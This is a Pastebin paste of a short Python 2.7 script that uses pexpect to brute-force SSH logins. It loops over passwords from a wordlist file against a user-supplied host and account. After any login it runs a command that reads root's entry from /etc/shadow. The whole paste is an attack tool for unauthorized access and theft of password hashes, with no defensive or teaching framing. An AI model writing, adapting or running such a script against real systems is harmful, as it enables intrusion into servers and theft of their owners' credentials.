Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! usr/bin/python2.7
- import pexpect
- PROMPT=['#','*','>>>','>','$']
- def command(child,cmd):
- child.sendline(cmd)
- child.expect(PROMPT)
- print child.before
- def connect(user,host,password):
- ssh_newkey="Are you sure you want to continue connecting"
- connstr='ssh '+user+"@"+host
- child=pexpect.spawn(connstr)
- ret=child.expect([pexpect.TIMEOUT,ssh_newkey,'Password : '])
- if ret==0:
- print ("[-] Error connecting : timeout_1")
- return 0
- if ret==1:
- child.sendline('yes')
- ret=child.expect([pexpect.TIMEOUT,'Password : '])
- if ret==0:
- print ("[-] Error connecting : timeout_2")
- return 0
- print("[*] Attempting password : "+password)
- child.sendline(password)
- child.expect(PROMPT)
- return child
- def main():
- host=raw_input("Enter hostname : ")
- user=raw_input("Enter username : ")
- global paswords
- passwords=open('wordlist.txt','r')
- for pwd in passwords:
- child=connect(user,host,pwd)
- if(child==0):
- continue
- command(child,'cat /etc/shadow | grep root')
- if __name__=="__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement